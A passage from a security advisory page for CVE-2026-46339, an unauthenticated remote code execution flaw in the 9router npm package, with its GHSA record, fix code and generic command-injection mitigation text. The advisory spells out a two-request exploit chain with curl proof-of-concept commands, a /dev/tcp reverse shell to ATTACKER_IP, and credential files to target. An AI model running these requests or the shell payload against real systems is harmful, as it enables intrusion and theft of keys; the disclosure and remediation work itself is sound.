"/api/cli-tools/:path*",
"/api/mcp/:path*",
],
};
Fix 2 — Validate command in registerCustomPlugin (defense-in-depth)
File: src/lib/mcp/stdioSseBridge.js
const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]);
function registerCustomPlugin(def) {
const bin = def.command?.split("/").pop(); // basename only
if (!ALLOWED_MCP_COMMANDS.has(bin)) {
throw new Error(`Blocked: command '${def.command}' not in allowlist`);
}
getCustomStore().set(def.name, def);
}
Fix 3 — Sanitize customPlugins at the API boundary
File: src/app/api/cli-tools/cowork-settings/route.js, line 312
const stdioCustoms = customPluginsArray
.filter((p) => p.command && typeof p.command === "string")
.filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command))) // allowlist check
.map((p) => ({
name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""), // sanitize name
command: p.command,
args: (p.args || []).map(String),
}));
All three fixes should be applied together. Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "9router"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.30"
},
{
"fixed": "0.4.37"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46339"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T19:22:05Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\n9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process \u2014 with **zero prerequisites** and **no credentials required**.\n\nThe vulnerability exists because the Next.js middleware that enforces authentication (`src/proxy.js`) only guards 8 explicitly listed routes. The attack surface of `/api/cli-tools/*` and `/api/mcp/*` (40+ routes) receives **no authentication whatsoever**.\n\n---\n\n## Root Cause\n\n### 1. Middleware Allowlist Is Too Narrow\n\n**File:** `src/proxy.js`\n\n```js\nexport const config = {\n matcher: [\n \"/\",\n \"/dashboard/:path*\",\n \"/api/shutdown\",\n \"/api/settings/:path*\",\n \"/api/keys\",\n \"/api/keys/:path*\",\n \"/api/providers/client\",\n \"/api/provider-nodes/validate\",\n ],\n};\n```\n\nNext.js middleware only runs on routes matching this list. Routes NOT listed \u2014 including `/api/cli-tools/*` and `/api/mcp/*` \u2014 bypass the `dashboardGuard` auth check entirely.\n\n### 2. Unguarded Endpoint Accepts Arbitrary Command Registration\n\n**File:** `src/app/api/cli-tools/cowork-settings/route.js`, lines 292\u2013319\n\n```js\nexport async function POST(request) {\n const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();\n // ...\n const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];\n\n if (customPluginsArray.length \u003e 0) {\n const { registerCustomPlugin } = require(\"@/lib/mcp/stdioSseBridge\");\n const stdioCustoms = customPluginsArray\n .filter((p) =\u003e p.command)\n .map((p) =\u003e ({\n name: p.name,\n command: p.command, // \u2190 attacker-controlled, no validation\n args: p.args || [], // \u2190 attacker-controlled, no validation\n }));\n for (const p of stdioCustoms) registerCustomPlugin(p); // stores in globalThis\n }\n}\n```\n\nThe `command` and `args` fields from the attacker\u0027s JSON are stored verbatim into `globalThis.__9routerCustomPlugins` \u2014 a process-global Map that survives Hot Module Replacement.\n\n**File:** `src/lib/mcp/stdioSseBridge.js`, lines 114\u2013116\n\n```js\nfunction registerCustomPlugin(def) {\n getCustomStore().set(def.name, def); // no validation of command/args\n}\n```\n\n### 3. Unguarded SSE Endpoint Triggers `spawn()` with Stored Command\n\n**File:** `src/app/api/mcp/[plugin]/sse/route.js`, lines 6\u201325\n\n```js\nexport async function GET(request, { params }) {\n const { plugin } = await params;\n if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });\n\n const stream = new ReadableStream({\n start(controller) {\n sid = registerSession(plugin, send); // \u2190 spawn() called here\n },\n });\n return new Response(stream, { ... });\n}\n```\n\n**File:** `src/lib/mcp/stdioSseBridge.js`, line 138\n\n```js\nconst proc = spawn(plugin.command, plugin.args, {\n stdio: [\"pipe\", \"pipe\", \"pipe\"],\n env: process.env, // inherits full environment\n});\n```\n\n`spawn()` is called with `shell: false` (default), but since the attacker controls **both** `plugin.command` (the binary path) and `plugin.args`, this is equivalent to arbitrary command execution.\n\n---\n\n## Attack Chain\n\n```\nAttacker (no credentials)\n \u2502\n \u2502 Step 1 \u2014 Register malicious plugin (POST, no auth)\n \u25bc\nPOST /api/cli-tools/cowork-settings\nContent-Type: application/json\n\n{\n \"baseUrl\": \"x\", \"apiKey\": \"x\", \"models\": [\"x\"],\n \"customPlugins\": [{\n \"name\": \"rev\",\n \"command\": \"/bin/bash\",\n \"args\": [\"-c\", \"bash -i \u003e\u0026 /dev/tcp/ATTACKER_IP/4444 0\u003e\u00261\"]\n }]\n}\n\n \u2190 {\"success\":true, ...}\n\n \u2502 Step 2 \u2014 Trigger spawn() via SSE endpoint (GET, no auth)\n \u25bc\nGET /api/mcp/rev/sse\n\n \u2190 SSE stream opens \u2192 spawn(\"/bin/bash\", [\"-c\", \"bash -i \u003e\u0026 /dev/tcp/...\"])\n \u2190 Reverse shell connects to attacker\n```\n\n**Time to exploit from first request:** \u003c 2 seconds. \n**Prerequisites:** Network access to port 20128 (Docker default: `0.0.0.0:20128`).\n\n---\n\n## Proof of Concept\n\n### PoC 1 \u2014 File Write (no listener required)\n\n```bash\n# Step 1: Register payload\ncurl -X POST \"http://TARGET:20128/api/cli-tools/cowork-settings\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"baseUrl\":\"x\",\"apiKey\":\"x\",\"models\":[\"x\"],\n \"customPlugins\":[{\n \"name\":\"rce1\",\n \"command\":\"/bin/sh\",\n \"args\":[\"-c\",\"{ id; whoami; hostname; uname -a; } \u003e /tmp/pwned.txt\"]\n }]\n }\u0027\n# \u2192 {\"success\":true,...}\n\n# Step 2: Trigger\ncurl -N --max-time 3 \"http://TARGET:20128/api/mcp/rce1/sse\" \u003e/dev/null 2\u003e\u00261\n\n# Verify\ncat /tmp/pwned.txt\n```\n\n**Observed output (on local test instance):**\n```\nuid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)\nsondt23\nVSOC-sondt23-L\nLinux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux\n```\n\n### PoC 2 \u2014 Automated PoC script\n\n```bash\n# File write mode (for report)\npython3 poc.py --target http://TARGET:20128 --mode file\n\n# Reverse shell mode (interactive)\npython3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444\n```\n\nThe script (`poc.py`) is included in this advisory.\n\n---\n\n## Impact\n\n| Category | Detail |\n|---|---|\n| **Confidentiality** | Full read access to server filesystem \u2014 API keys, TLS private keys, `~/.claude/settings.json` (Anthropic tokens), AWS credentials |\n| **Integrity** | Arbitrary file write, persistence via cron/systemd |\n| **Availability** | Process termination, resource exhaustion |\n| **Lateral movement** | `docker` group membership (confirmed in test) allows full container escape \u2192 host root |\n| **Scope** | Remote, unauthenticated, network-accessible |\n\n### High-value exfiltration targets on a typical 9router host\n\n- `~/.claude/settings.json` \u2014 `ANTHROPIC_AUTH_TOKEN`\n- `~/.aws/credentials`, `~/.aws/sso/cache/*.json` \u2014 AWS keys\n- `$DATA_DIR/db.sqlite` \u2014 9router local database (all stored API keys, provider configs)\n- TLS private keys managed by the MITM proxy (`src/mitm/`)\n\n---\n\n## Affected Versions\n\n| Version | Affected | Notes |\n|---|---|---|\n| \u003c v0.4.30 | No | `cowork-settings` and MCP SSE bridge did not exist |\n| v0.4.30 | **Yes** | Introduced in commit `8f4d29c` (2026-05-11) |\n| v0.4.31 | **Yes** | |\n| v0.4.32 | **Yes** | |\n| v0.4.33 | **Yes** | Latest at time of disclosure |\n\nThe vulnerability was introduced when the MCP stdio\u2192SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.\n\n---\n\n## Remediation\n\n### Fix 1 \u2014 Extend middleware matcher (minimal fix)\n\n**File:** `src/proxy.js`\n\n```js\nexport const config = {\n matcher: [\n \"/\",\n \"/dashboard/:path*\",\n \"/api/shutdown\",\n \"/api/settings/:path*\",\n \"/api/keys\",\n \"/api/keys/:path*\",\n \"/api/providers/client\",\n \"/api/provider-nodes/validate\",\n // ADD these:\n \"/api/cli-tools/:path*\",\n \"/api/mcp/:path*\",\n ],\n};\n```\n\n### Fix 2 \u2014 Validate `command` in `registerCustomPlugin` (defense-in-depth)\n\n**File:** `src/lib/mcp/stdioSseBridge.js`\n\n```js\nconst ALLOWED_MCP_COMMANDS = new Set([\"npx\", \"node\", \"uvx\", \"python3\", \"python\"]);\n\nfunction registerCustomPlugin(def) {\n const bin = def.command?.split(\"/\").pop(); // basename only\n if (!ALLOWED_MCP_COMMANDS.has(bin)) {\n throw new Error(`Blocked: command \u0027${def.command}\u0027 not in allowlist`);\n }\n getCustomStore().set(def.name, def);\n}\n```\n\n### Fix 3 \u2014 Sanitize `customPlugins` at the API boundary\n\n**File:** `src/app/api/cli-tools/cowork-settings/route.js`, line 312\n\n```js\nconst stdioCustoms = customPluginsArray\n .filter((p) =\u003e p.command \u0026\u0026 typeof p.command === \"string\")\n .filter((p) =\u003e ALLOWED_COMMANDS.has(path.basename(p.command))) // allowlist check\n .map((p) =\u003e ({\n name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, \"\"), // sanitize name\n command: p.command,\n args: (p.args || []).map(String),\n }));\n```\n\n**All three fixes should be applied together.** Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.\n\n---",
"id": "GHSA-fhh6-4qxv-rpqj",
"modified": "2026-05-19T19:22:05Z",
"published": "2026-05-19T19:22:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/decolua/9router/security/advisories/GHSA-fhh6-4qxv-rpqj"
},
{
"type": "PACKAGE",
"url": "https://github.com/decolua/9router"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "9router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes"
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.